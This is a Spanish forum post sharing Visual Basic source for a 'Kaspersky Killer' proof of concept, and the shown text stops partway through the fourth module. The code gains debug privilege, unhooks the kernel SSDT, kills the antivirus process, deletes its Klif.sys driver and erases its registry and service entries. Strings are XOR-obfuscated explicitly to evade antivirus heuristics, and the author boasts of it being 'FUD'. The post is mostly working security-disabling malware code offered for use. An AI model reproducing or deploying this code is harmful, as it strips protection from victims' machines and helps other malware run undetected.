Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: XcryptOR en 13 Abril 2009, 19:55 pm



Título: [POC] Kaspersky Killer
Publicado por: XcryptOR en 13 Abril 2009, 19:55 pm
Bueno como no he tenido tiempo para depurar el code lo dejo a su dispocisión, espero les sirva como ejemplo

dvVj7bNPqKY


Modulo1:
Código
  1. '---------------------------------------------------------------------------------------
  2. ' Project     : KillKav [Kaspersky Killer]
  3. ' Date        : 19/03/2009 18:10
  4. ' Author      : XcryptOR
  5. ' Purpose     : Kill Kaspersky Antivirus, Delete Klif.sys Driver & Related Registry Entries
  6. ' Versions    : Kaspersky Antivirus 6,7,8, kaspersky 2009 y KIS 2009
  7. ' OS          : Windows XP Sp1, Sp2, Sp3. Vista(it needs some changes but works)
  8. ' Bugs        : When KLIM5.sys (Kaspersky NDIS Filter) Registry entry is delete the next reboot
  9. '               we can't access internet because the filter was not unistalled, the function
  10. '               Clean_TCPIP_Stack do the work, but i can't use when kill kaspersky only in the
  11. '               Next reboot, i believe that is not a problem to fix
  12. '               It can be improve very much it's only a POC
  13. ' Credits     : Iceboy, Syntax_err, and all the chinese Crew of vbgood
  14. '---------------------------------------------------------------------------------------
  15. Private Sub Main()
  16.    EnablePrivilege SE_DEBUG_PRIVILEGE, True
  17.    FindNtdllExport
  18.    GetSSDT
  19.    Fuck_KAV
  20.    KillRegs
  21.  
  22. End Sub
  23. Private Sub Fuck_KAV()
  24.    Dim hProcess        As Long
  25.    Dim Pid             As Long
  26.  
  27.    Pid = GetPIDByName(Crypt("¹®¨ö½ ½")) ' Get The PID By Name in this case AVP.exe
  28.  
  29.    hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, Pid)
  30.    If hProcess = 0 Then
  31.            hProcess = LzOpenProcess(PROCESS_ALL_ACCESS, Pid)
  32.    End If
  33.  
  34.    Call MyTerminateProcess(hProcess, 0)
  35.  
  36.    ' strings are XOR crypted, to avoid some heuristics, the source is FUD: scan on NVT and virustotal
  37.    If DeleteDriver(Crypt("„ç焛ℱ¶¼·¯«„‹¡«¬½µëê„œª±®½ª«„“´±¾ö«¡«")) = True Then '\??\C:\Windows\System32\Drivers\Klif.sys
  38.            MsgBox Crypt("œª±®½ªø“´±¾ö«¡«ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½") & vbCrLf & _
  39.                   Crypt("ùø“¹«¨½ª«³¡ø°¹ø«±¼·ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½øy"), _
  40.                   vbExclamation, Crypt("“¹«¨½ª«³¡ø“±´´½ªøõø›·¼½¼øš¡ø€»ª¡¨¬·ª")
  41.    End If
  42. End Sub
  43.  

Modulo2:
Código
  1. Public Enum SYSTEM_INFORMATION_CLASS
  2.    SystemBasicInformation
  3.    SystemHandleInformation
  4. End Enum
  5.  
  6. Public Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
  7. ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
  8. ByVal pSystemInformation As Long, _
  9. ByVal SystemInformationLength As Long, _
  10. ByRef ReturnLength As Long) As Long
  11.  
  12. Public Type SYSTEM_HANDLE_TABLE_ENTRY_INFO
  13.    UniqueProcessId         As Integer
  14.    CreatorBackTraceIndex   As Integer
  15.    ObjectTypeIndex         As Byte
  16.    HandleAttributes        As Byte
  17.    HandleValue             As Integer
  18.    pObject                 As Long
  19.    GrantedAccess           As Long
  20. End Type
  21.  
  22. Public Type SYSTEM_HANDLE_INFORMATION
  23.    NumberOfHandles         As Long
  24.    Handles(1 To 1)         As SYSTEM_HANDLE_TABLE_ENTRY_INFO
  25. End Type
  26.  
  27. Public Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
  28. Public Const STATUS_ACCESS_DENIED = &HC0000022
  29.  
  30. Public Declare Function ZwWriteVirtualMemory Lib "ntdll.dll" ( _
  31. ByVal ProcessHandle As Long, _
  32. ByVal BaseAddress As Long, _
  33. ByVal pBuffer As Long, _
  34. ByVal NumberOfBytesToWrite As Long, _
  35. ByRef NumberOfBytesWritten As Long) As Long
  36.  
  37. Public Declare Function ZwOpenProcess Lib "ntdll.dll" ( _
  38. ByRef ProcessHandle As Long, _
  39. ByVal AccessMask As Long, _
  40. ByRef ObjectAttributes As OBJECT_ATTRIBUTES, _
  41. ByRef ClientId As CLIENT_ID) As Long
  42.  
  43. Public Type OBJECT_ATTRIBUTES
  44.    Length                  As Long
  45.    RootDirectory           As Long
  46.    ObjectName              As Long
  47.    Attributes              As Long
  48.    SecurityDescriptor      As Long
  49.    SecurityQualityOfService As Long
  50. End Type
  51.  
  52. Public Type CLIENT_ID
  53.    UniqueProcess           As Long
  54.    UniqueThread            As Long
  55. End Type
  56.  
  57. Public Const PROCESS_QUERY_INFORMATION      As Long = &H400
  58. Public Const STATUS_INVALID_CID             As Long = &HC000000B
  59.  
  60. Public Declare Function ZwClose Lib "ntdll.dll" ( _
  61. ByVal ObjectHandle As Long) As Long
  62.  
  63. Public Const ZwGetCurrentProcess            As Long = -1
  64. Public Const ZwGetCurrentThread             As Long = -2
  65. Public Const ZwCurrentProcess               As Long = ZwGetCurrentProcess
  66. Public Const ZwCurrentThread                As Long = ZwGetCurrentThread
  67.  
  68. Public Declare Function ZwCreateJobObject Lib "ntdll.dll" ( _
  69. ByRef JobHandle As Long, _
  70. ByVal DesiredAccess As Long, _
  71. ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long
  72.  
  73. Public Declare Function ZwAssignProcessToJobObject Lib "ntdll.dll" ( _
  74. ByVal JobHandle As Long, _
  75. ByVal ProcessHandle As Long) As Long
  76.  
  77. Public Declare Function ZwTerminateJobObject Lib "ntdll.dll" ( _
  78. ByVal JobHandle As Long, _
  79. ByVal ExitStatus As Long) As Long
  80.  
  81. Public Const OBJ_INHERIT = &H2
  82. Public Const STANDARD_RIGHTS_REQUIRED       As Long = &HF0000
  83. Public Const SYNCHRONIZE                    As Long = &H100000
  84. Public Const JOB_OBJECT_ALL_ACCESS          As Long = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H1F
  85. Public Const PROCESS_DUP_HANDLE             As Long = &H40
  86. Public Const PROCESS_ALL_ACCESS             As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
  87. Public Const THREAD_ALL_ACCESS              As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H3FF)
  88. Public Const OB_TYPE_PROCESS                As Long = &H5
  89.  
  90. Public Type PROCESS_BASIC_INFORMATION
  91.    ExitStatus              As Long
  92.    PebBaseAddress          As Long
  93.    AffinityMask            As Long
  94.    BasePriority            As Long
  95.    UniqueProcessId         As Long
  96.    InheritedFromUniqueProcessId As Long
  97. End Type
  98.  
  99. Public Declare Function ZwDuplicateObject Lib "ntdll.dll" ( _
  100. ByVal SourceProcessHandle As Long, _
  101. ByVal SourceHandle As Long, _
  102. ByVal TargetProcessHandle As Long, _
  103. ByRef TargetHandle As Long, _
  104. ByVal DesiredAccess As Long, _
  105. ByVal HandleAttributes As Long, _
  106. ByVal Options As Long) As Long
  107.  
  108. Public Const DUPLICATE_CLOSE_SOURCE = &H1
  109. Public Const DUPLICATE_SAME_ACCESS = &H2
  110. Public Const DUPLICATE_SAME_ATTRIBUTES = &H4
  111.  
  112. Public Declare Function ZwQueryInformationProcess Lib "ntdll.dll" ( _
  113. ByVal ProcessHandle As Long, _
  114. ByVal ProcessInformationClass As PROCESSINFOCLASS, _
  115. ByVal ProcessInformation As Long, _
  116. ByVal ProcessInformationLength As Long, _
  117. ByRef ReturnLength As Long) As Long
  118.  
  119. Public Enum PROCESSINFOCLASS
  120.        ProcessBasicInformation
  121. End Enum
  122.  
  123. Public Const STATUS_SUCCESS                 As Long = &H0
  124. Public Const STATUS_INVALID_PARAMETER       As Long = &HC000000D
  125.  
  126. Public Declare Function ZwTerminateProcess Lib "ntdll.dll" ( _
  127. ByVal ProcessHandle As Long, _
  128. ByVal ExitStatus As Long) As Long
  129.  
  130. Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  131.  
  132. Public Type SECURITY_ATTRIBUTES
  133.    nLength                 As Long
  134.    lpSecurityDescriptor    As Long
  135.    bInheritHandle          As Long
  136. End Type
  137.  
  138. Public Type a_my
  139.    name                    As String
  140.    Pid                     As Long
  141.    tid                     As Long
  142.    Handle                  As Long
  143. End Type
  144.  
  145. Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
  146. ByVal lpModuleName As String) As Long
  147.  
  148. Public Declare Function GetProcAddress Lib "kernel32" ( _
  149. ByVal hModule As Long, _
  150. ByVal lpProcName As String) As Long
  151.  
  152. Public Function NT_SUCCESS(ByVal Status As Long) As Boolean
  153.          NT_SUCCESS = (Status >= 0)
  154. End Function
  155.  
  156. Public Sub CopyMemory(ByVal Dest As Long, ByVal Src As Long, ByVal cch As Long)
  157. Dim Written As Long
  158.        Call ZwWriteVirtualMemory(ZwCurrentProcess, Dest, Src, cch, Written)
  159. End Sub
  160.  
  161. Public Function IsItemInArray(ByVal dwItem, ByRef dwArray() As Long) As Boolean
  162. Dim Index As Long
  163.        For Index = LBound(dwArray) To UBound(dwArray)
  164.                If (dwItem = dwArray(Index)) Then IsItemInArray = True: Exit Function
  165.        Next
  166.        IsItemInArray = False
  167. End Function
  168.  
  169. Public Sub AddItemToArray(ByVal dwItem As Long, ByRef dwArray() As Long)
  170. On Error GoTo ErrHdl
  171.  
  172.        If (IsItemInArray(dwItem, dwArray)) Then Exit Sub
  173.  
  174.        ReDim Preserve dwArray(UBound(dwArray) + 1)
  175.        dwArray(UBound(dwArray)) = dwItem
  176. ErrHdl:
  177.  
  178. End Sub
  179.  

Modulo3:
Código
  1. Private Declare Function SHDeleteKey Lib "shlwapi.dll" Alias "SHDeleteKeyA" ( _
  2. ByVal hKey As Long, _
  3. ByVal pszSubKey As String) As Long  ' Delete a key and subkeys from registry
  4.  
  5. Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
  6. Alias "RegOpenKeyExA" ( _
  7. ByVal hKey As Long, _
  8. ByVal lpSubKey As String, _
  9. ByVal ulOptions As Long, _
  10. ByVal samDesired As Long, _
  11. phkResult As Long) As Long
  12.  
  13. Private Declare Function RegCloseKey Lib "advapi32.dll" ( _
  14. ByVal hKey As Long) As Long
  15.  
  16. Private Declare Function RegDeleteValue Lib "advapi32.dll" _
  17. Alias "RegDeleteValueA" ( _
  18. ByVal hKey As Long, _
  19. ByVal lpValueName As String) As Long
  20.  
  21. Private Const REG_SZ                                As Long = 1
  22. Private Const REG_EXPAND_SZ                         As Long = 2
  23. Private Const REG_BINARY                            As Long = 3
  24. Private Const REG_DWORD                             As Long = 4
  25. Private Const REG_MULTI_SZ                          As Long = 7
  26.  
  27. Private Const KEY_QUERY_VALUE                       As Long = &H1
  28. Private Const KEY_ALL_ACCESS                        As Long = &H3F
  29. Private Const REG_OPTION_NON_VOLATILE               As Long = 0
  30.  
  31. Private Const HKEY_CLASSES_ROOT                     As Long = &H80000000
  32. Private Const HKEY_CURRENT_CONFIG                   As Long = &H80000005
  33. Private Const HKEY_CURRENT_USER                     As Long = &H80000001
  34. Private Const HKEY_DYN_DATA                         As Long = &H80000006
  35. Private Const HKEY_LOCAL_MACHINE                    As Long = &H80000002
  36. Private Const HKEY_PERFORMANCE_DATA                 As Long = &H80000004
  37. Private Const HKEY_USERS                            As Long = &H80000003
  38. Private Declare Function ZwDeleteFile Lib "ntdll.dll" ( _
  39. ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long
  40.  
  41. Private Declare Sub RtlInitUnicodeString Lib "ntdll.dll" ( _
  42. ByVal DestinationString As Long, _
  43. ByVal SourceString As Long)
  44.  
  45. Private Type UNICODE_STRING
  46.        Length              As Integer
  47.        MaximumLength       As Integer
  48.        Buffer              As String
  49. End Type
  50.  
  51. Private Type OBJECT_ATTRIBUTES
  52.        Length                      As Long
  53.        RootDirectory               As Long
  54.        ObjectName                  As Long
  55.        Attributes                  As Long
  56.        SecurityDescriptor          As Long
  57.        SecurityQualityOfService    As Long
  58. End Type
  59.  
  60. Private Const OBJ_CASE_INSENSITIVE          As Long = &H40
  61.  
  62. Public Const SE_SHUTDOWN_PRIVILEGE          As Long = 19
  63. Public Const SE_DEBUG_PRIVILEGE             As Long = 20
  64.  
  65. Private Const STATUS_NO_TOKEN               As Long = &HC000007C
  66.  
  67. Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" ( _
  68. ByVal Privilege As Long, _
  69. ByVal Enable As Boolean, _
  70. ByVal Client As Boolean, _
  71. WasEnabled As Long) As Long
  72.  
  73. Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" ( _
  74. ByVal lFlags As Long, _
  75. ByVal lProcessID As Long) As Long
  76. '---
  77. Private Declare Function Process32First Lib "kernel32" ( _
  78. ByVal hSnapShot As Long, _
  79. uProcess As PROCESSENTRY32) As Long
  80. '---
  81. Private Declare Function Process32Next Lib "kernel32" ( _
  82. ByVal hSnapShot As Long, _
  83. uProcess As PROCESSENTRY32) As Long
  84. '---
  85. Private Const TH32CS_SNAPHEAPLIST           As Long = &H1
  86. Private Const TH32CS_SNAPPROCESS            As Long = &H2
  87. Private Const TH32CS_SNAPTHREAD             As Long = &H4
  88. Private Const TH32CS_SNAPMODULE             As Long = &H8
  89. Private Const TH32CS_SNAPALL                As Long = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
  90. Private Const MAX_PATH                      As Long = 260
  91.  
  92. Private Type PROCESSENTRY32
  93.        dwSize              As Long
  94.        cntUsage            As Long
  95.        th32ProcessID       As Long
  96.        th32DefaultHeapID   As Long
  97.        th32ModuleID        As Long
  98.        cntThreads          As Long
  99.        th32ParentProcessID As Long
  100.        pcPriClassBase      As Long
  101.        dwFlags             As Long
  102.        szExeFile           As String * MAX_PATH
  103. End Type
  104.  
  105. Public Declare Function WinExec Lib "kernel32" ( _
  106. ByVal lpCmdLine As String, _
  107. ByVal nCmdShow As Long) As Long
  108.  
  109. Public Const SW_HIDE = 0
  110.  
  111. '========================================================================================
  112. '================================ Get ID Process By Name ================================
  113. '========================================================================================
  114. Public Function GetPIDByName(ByVal PName As String) As Long
  115.    Dim hSnapShot       As Long
  116.    Dim uProcess        As PROCESSENTRY32
  117.    Dim t               As Long
  118.    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
  119.    uProcess.dwSize = Len(uProcess)
  120.    PName = LCase(PName)
  121.    t = Process32First(hSnapShot, uProcess)
  122.    Do While t
  123.        t = InStr(1, uProcess.szExeFile, Chr(0))
  124.        If LCase(Left(uProcess.szExeFile, t - 1)) = PName Then
  125.            GetPIDByName = uProcess.th32ProcessID
  126.            Exit Function
  127.        End If
  128.        t = Process32Next(hSnapShot, uProcess)
  129.    Loop
  130. End Function
  131.  
  132. '========================================================================================
  133. '==================================== Get Privileges ====================================
  134. '========================================================================================
  135. Public Function EnablePrivilege(ByVal Privilege As Long, Enable As Boolean) As Boolean
  136.    Dim ntStatus        As Long
  137.    Dim WasEnabled      As Long
  138.    ntStatus = RtlAdjustPrivilege(Privilege, Enable, True, WasEnabled)
  139.    If ntStatus = STATUS_NO_TOKEN Then
  140.        ntStatus = RtlAdjustPrivilege(Privilege, Enable, False, WasEnabled)
  141.    End If
  142.    If ntStatus = 0 Then
  143.        EnablePrivilege = True
  144.    Else
  145.        EnablePrivilege = False
  146.    End If
  147. End Function
  148.  
  149. '========================================================================================
  150. '============================= Simple XOR String Encryption =============================
  151. '========================================================================================
  152. Public Function Crypt(txt As String) As String
  153.    On Error Resume Next
  154.    Dim x       As Long
  155.    Dim PF      As String
  156.    Dim PG      As String
  157.  
  158.    For x = 1 To Len(txt)
  159.        PF = Mid(txt, x, 1)
  160.        PG = Asc(PF)
  161.        Crypt = Crypt & Chr(PG Xor (216 Mod 255))
  162.    Next
  163. End Function
  164.  
  165. '========================================================================================
  166. '====================== Initialize Object Attributes Structure ==========================
  167. '========================================================================================
  168. Private Sub InicializarOA(ByRef InitializedAttributes As OBJECT_ATTRIBUTES, _
  169.                          ByRef ObjectName As UNICODE_STRING, _
  170.                          ByVal Attributes As Long, _
  171.                          ByVal RootDirectory As Long, _
  172.                          ByVal SecurityDescriptor As Long) 'inicializa las propiedades de OBJECT_ATTRIBUTES
  173.        With InitializedAttributes
  174.                .Length = LenB(InitializedAttributes)
  175.                .Attributes = Attributes
  176.                .ObjectName = VarPtr(ObjectName)
  177.                .RootDirectory = RootDirectory
  178.                .SecurityDescriptor = SecurityDescriptor
  179.                .SecurityQualityOfService = 0
  180.        End With
  181. End Sub
  182.  
  183. '========================================================================================
  184. '=============================== Delete KLIF.sys Driver =================================
  185. '========================================================================================
  186. Public Function DeleteDriver(StrDriverPath As String) As Boolean
  187. On Error Resume Next
  188.    Dim OA          As OBJECT_ATTRIBUTES
  189.    Dim UStrPath    As UNICODE_STRING
  190.    RtlInitUnicodeString ByVal VarPtr(UStrPath), StrPtr(StrDriverPath) ' Path debe estar en formato de para APIs Nativas "\??\C:\Windows\System32\Drivers\Klif.sys"
  191.    InicializarOA OA, UStrPath, OBJ_CASE_INSENSITIVE, 0, 0
  192.  
  193.    If NT_SUCCESS(ZwDeleteFile(OA)) Then
  194.        DeleteDriver = True
  195.    End If
  196. End Function
  197.  
  198. '===================================================================================
  199. '================== Delete Registry Entries of all Kasper Services =================
  200. '===================================================================================
  201. Public Sub KillRegs()
  202.    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›­ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„™Žˆ")              '"SYSTEM\CurrentControlSet\Services\AVP"
  203.    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›­ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„³´é")              '"SYSTEM\CurrentControlSet\Services\kl1"
  204.    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›­ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„“”‘ž")             '"SYSTEM\CurrentControlSet\Services\KLIF"
  205.    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›­ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„³´±µí")            '"SYSTEM\CurrentControlSet\Services\klim5"
  206.    DeleteAllKeys GetHKEY(3), Crypt("‹·¾¬¯¹ª½„“¹«¨½ª«³¡”¹º")                              '"Software\KasperskyLab"
  207.    DeleteAllKeys GetHKEY(1), Crypt("›”‹‘œ„£¼¼êëèààèõìáí¹õéé¼éõºèîìõèèàèìཻ꾻í¥")       '"CLSID\{dd230880-495a-11d1-b064-008048ec2fc5}" : Remove from Context Menu
  208.    DeleteKey Crypt("‹·¾¬¯¹ª½„•±»ª·«·¾¬„±¶¼·¯«„›­ªª½¶¬Ž½ª«±·¶„Š­¶"), Crypt("¹®¨"), 3     '"Software\Microsoft\Windows\CurrentVersion\Run", "avp"
  209. End Sub
  210.  
  211. '===================================================================================
  212. '========================= Eliminar el valor del Registro ==========================
  213. '===================================================================================
  214. Public Sub DeleteKey(sKey, nKey, RegKey)
  215.    On Error Resume Next
  216.    Dim RK          As Long
  217.    Dim l           As Long
  218.    Dim hKey        As Long
  219.    l = RegOpenKeyEx(GetHKEY(RegKey), sKey, 0, KEY_ALL_ACCESS, hKey)
  220.    l = RegDeleteValue(hKey, nKey)
  221.    l = RegCloseKey(hKey)
  222. End Sub
  223.  
  224. '===================================================================================
  225. '===================== Delete Keys and Subkeys from Registry =======================
  226. '===================================================================================
  227. Private Sub DeleteAllKeys(hKey As String, key As String)
  228.    Dim lResult As Long
  229.    lResult = SHDeleteKey(hKey, key)
  230. End Sub
  231.  
  232. Private Function GetHKEY(RegKey)
  233.    On Error Resume Next
  234.    Select Case RegKey
  235.        Case 1
  236.        GetHKEY = HKEY_CLASSES_ROOT
  237.        Case 2
  238.        GetHKEY = HKEY_CURRENT_USER
  239.        Case 3
  240.        GetHKEY = HKEY_LOCAL_MACHINE
  241.    End Select
  242. End Function
  243.  
  244. '===================================================================================
  245. '=================== Clean TCP/IP to unistall Klim5.sys NDIS =======================
  246. '===================================================================================
  247. Public Sub Clean_TCPIP_Stack()
  248. WinExec "netsh int ip reset", SW_HIDE
  249. DoEvents
  250. WinExec "netsh winsock reset", SW_HIDE
  251. End Sub
  252.  
  253.  


Modulo4:

Modulo4:
Código
  1. ' -----------------------------------------------------------------------------------
  2. ' Module        : mSSDTUnhook
  3. ' Author        : Iceboy
  4. ' Purpose       : Unhook APIs i used this great work of Iceboy to unhook Apis from Kaspersky
  5. ' -----------------------------------------------------------------------------------
  6. Option Explicit
  7.  
  8. Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
  9. ByVal lpLibFileName As String) As Long
  10.  
  11. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
  12. ByVal pDst As Long, _
  13. ByVal pSrc As Long, _
  14. ByVal ByteLen As Long)
  15.  
  16. Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" ( _
  17. ByVal lpString As Long) As Long
  18.  
  19. Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" ( _
  20. ByVal lpLibFileName As Long, _
  21. ByVal hFile As Long, _
  22. ByVal dwFlags As Long) As Long
  23.  
  24. Private Declare Function FreeLibrary Lib "kernel32" ( _
  25. ByVal hLibModule As Long) As Long
  26.  
  27. Private Declare Function GetProcAddress Lib "kernel32" ( _
  28. ByVal hModule As Long, _
  29. ByVal lpProcName As String) As Long
  30.  
  31. Private Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
  32. ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
  33. ByVal pSystemInformation As Long, _
  34. ByVal SystemInformationLength As Long, _
  35. ByVal pReturnLength As Long) As Long
  36.  
  37. Private Declare Function ZwSystemDebugControl Lib "ntdll.dll" ( _
  38. ByVal ControlCode As SYSDBG_COMMAND, _
  39. ByVal pInputBuffer As Long, _
  40. ByVal InputBufferLength As Long, _
  41. ByVal pOutputBuffer As Long, _
  42. ByVal OutputBufferLength As Long, _
  43. ByVal pReturnLength As Long) As Long
  44.  
  45. Public Enum SYSDBG_COMMAND
  46.    SysDbgReadVirtualMemory = 8
  47.    SysDbgWriteVirtualMemory = 9
  48. End Enum
  49.  
  50. Private Enum SYSTEM_INFORMATION_CLASS
  51.    SystemModuleInformation = 11
  52. End Enum
  53.  
  54. Private Type IMAGE_DOS_HEADER
  55.    e_magic                 As Integer
  56.    Unused(0 To 57)         As Byte
  57.    e_lfanew                As Long
  58. End Type
  59.  
  60. Private Type IMAGE_NT_HEADER
  61.    Signature               As Long
  62.    Unused1(0 To 15)        As Byte
  63.    SizeOfOptionalHeader    As Integer
  64.    Characteristics         As Integer
  65.    Magic                   As Integer
  66.    Unused3(0 To 25)        As Byte
  67.    ImageBase               As Long
  68.    Unused4(0 To 23)        As Byte
  69.    SizeOfImage             As Long
  70.    Unused5(0 To 31)        As Byte
  71.    NumberOfRvaAndSizes     As Long
  72.    ExportTableRva          As Long
  73.    ExportTableSize         As Long
  74.    Unused6(0 To 31)        As Byte
  75.    RelocationTableRva      As Long
  76.    RelocationTableSize     As Long
  77. End Type
  78.  
  79. Private Type IMAGE_EXPORT_DIRECTORY
  80.    Unused(0 To 11)         As Byte
  81.    name                    As Long
  82.    Base                    As Long
  83.    NumberOfFunctions       As Long
  84.    NumberOfNames           As Long
  85.    AddressOfFunctions      As Long
  86.    AddressOfNames          As Long
  87.    AddressOfOrdinals       As Long
  88. End Type
  89.  
  90. Private Type IMAGE_BASE_RELOCATION
  91.    VirtualAddress          As Long
  92.    SizeOfBlock             As Long
  93. End Type
  94.  
  95. Private Type IMAGE_FIXED_ENTRY
  96.    Offset                  As Long
  97.    Type                    As Long
  98. End Type
  99.  
  100. Private Type ModuleInformation
  101.    Reserved(7)             As Byte
  102.    Base                    As Long
  103.    Size                    As Long
  104.    Flags                   As Long
  105.    Index                   As Integer
  106.    Unknown                 As Integer
  107.    Loadcount               As Integer
  108.    ModuleNameOffset        As Integer
  109.    ImageName(250)          As long
  110. End Type
  111.  
  112. Private Type MEMORY_CHUNKS
  113.    Address                 As Long
  114.    pData                   As Long
  115.    Length                  As Long
  116. End Type
  117.  
  118. Private Const DONT_RESOLVE_DLL_REFERENCES   As Long = 1
  119. Private Const IMAGE_REL_BASED_HIGHLOW       As Long = 3
  120. Private Const IMAGE_FILE_RELOCS_STRIPPED    As Integer = 1
  121.  
  122. Dim FuncName(1023)                          As String
  123. Dim Address1(1023)                          As Long
  124. Dim Address2(1023)                          As Long
  125. Dim ModuleName(1023)                        As String
  126.  
  127. Dim dwServices                              As Long
  128. Dim dwKernelBase                            As Long
  129. Dim dwKiServiceTable                        As Long
  130.  
  131. Public Sub RecoverSSDT(ByVal num As Long)
  132.    Address2(num) = Address1(num)
  133. End Sub
  134.  
  135. Public Sub WriteSSDT()
  136.    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
  137.    With QueryBuff
  138.        .Address = dwKiServiceTable + dwKernelBase
  139.        .pData = VarPtr(Address2(0))
  140.        .Length = dwServices * 4
  141.        ZwSystemDebugControl SysDbgWriteVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
  142.        If ReturnLength <> .Length Then MsgBox "SSDT Cannot Write", vbCritical
  143.    End With
  144. End Sub
  145.  
  146. Private Function ModuleInformationFromPtr(ByVal pmi As Long) As ModuleInformation
  147.    CopyMemory VarPtr(ModuleInformationFromPtr), pmi, 284
  148. End Function
  149.  
  150. Private Function BaseRelocationFromPtr(ByVal pbr As Long) As IMAGE_BASE_RELOCATION
  151.    CopyMemory VarPtr(BaseRelocationFromPtr), pbr, 8
  152. End Function
  153.  
  154. Private Function FixedEntryFromPtr(ByVal pfe As Long) As IMAGE_FIXED_ENTRY
  155.    Dim tmp As Integer
  156.    CopyMemory VarPtr(tmp), pfe, 2
  157.    FixedEntryFromPtr.Offset = tmp And 4095
  158.    CopyMemory VarPtr(tmp), pfe + 1, 1
  159.    FixedEntryFromPtr.Type = (tmp And 240) \ 16
  160. End Function
  161.  
  162. Private Function DwordFromPtr(ByVal pdword As Long) As Long
  163.    CopyMemory VarPtr(DwordFromPtr), pdword, 4
  164. End Function
  165.  
  166. Private Function WordFromPtr(ByVal pword As Long) As Long
  167.    CopyMemory VarPtr(WordFromPtr), pword, 2
  168. End Function
  169.  
  170. Private Function FindKiServiceTable(ByVal hModule As Long, ByVal dwKSDT As Long) As Long
  171.    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
  172.    Dim pbr As Long, pfe As Long, bFirstChunk As Boolean, I As Long, forto As Long
  173.    Dim dwFixups As Long, dwPointerRva As Long, dwPointsToRva As Long
  174.    CopyMemory VarPtr(DosHeader), hModule, 64
  175.    With DosHeader
  176.        Assert .e_magic = &H5A4D
  177.        CopyMemory VarPtr(NtHeader), hModule + .e_lfanew, 168
  178.    End With
  179.    bFirstChunk = True
  180.    Do While bFirstChunk Or CBool(BaseRelocationFromPtr(pbr).VirtualAddress)
  181.        bFirstChunk = False
  182.        pfe = pbr + 8
  183.        forto = (BaseRelocationFromPtr(pbr).SizeOfBlock - 8) \ 2 - 1
  184.        For I = 0 To forto
  185.            If FixedEntryFromPtr(pfe).Type = IMAGE_REL_BASED_HIGHLOW Then
  186.                dwFixups = dwFixups + 1
  187.                dwPointerRva = BaseRelocationFromPtr(pbr).VirtualAddress + FixedEntryFromPtr(pfe).Offset
  188.                dwPointsToRva = DwordFromPtr(hModule + dwPointerRva) - NtHeader.ImageBase
  189.                If dwPointsToRva = dwKSDT Then
  190.                    If WordFromPtr(hModule + dwPointerRva - 2) = &H5C7 Then
  191.                        FindKiServiceTable = DwordFromPtr(hModule + dwPointerRva + 4) - NtHeader.ImageBase
  192.                        Exit Function
  193.                    End If
  194.                End If
  195.            End If
  196.            pfe = pfe + 2
  197.        Next
  198.        pbr = pbr + BaseRelocationFromPtr(pbr).SizeOfBlock
  199.    Loop
  200. End Function
  201.  
  202. Private Function AddZero(ByVal Text As String, ByVal Length As Long) As String
  203.    AddZero = String(Length - Len(Text), "0") & Text
  204. End Function
  205.  
  206. Public Sub GetSSDT()
  207. On Error Resume Next
  208.    Dim I As Long, j As Long, Length As Long, Buff() As Byte, pKernelName As Long, hKernel As Long
  209.    Dim dwKSDT As Long, pService As Long, DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
  210.    dwServices = 0
  211.    ZwQuerySystemInformation SystemModuleInformation, 0, 0, VarPtr(Length)
  212.    ReDim Buff(Length - 1)
  213.    ZwQuerySystemInformation SystemModuleInformation, VarPtr(Buff(0)), Length, 0
  214.    With ModuleInformationFromPtr(VarPtr(Buff(4)))
  215.        dwKernelBase = .Base
  216.        pKernelName = VarPtr(.ImageName(0)) + .ModuleNameOffset
  217.    End With
  218.    hKernel = LoadLibraryEx(pKernelName, 0, DONT_RESOLVE_DLL_REFERENCES)
  219.    dwKSDT = GetProcAddress(hKernel, "KeServiceDescriptorTable")
  220.    Assert dwKSDT <> 0
  221.    dwKSDT = dwKSDT - hKernel
  222.    dwKiServiceTable = FindKiServiceTable(hKernel, dwKSDT)
  223.    Assert dwKiServiceTable <> 0
  224.    CopyMemory VarPtr(DosHeader), hKernel, 64
  225.    With DosHeader
  226.        Assert .e_magic = &H5A4D
  227.        CopyMemory VarPtr(NtHeader), hKernel + .e_lfanew, 168
  228.    End With
  229.    With NtHeader
  230.        Assert .Signature = &H4550
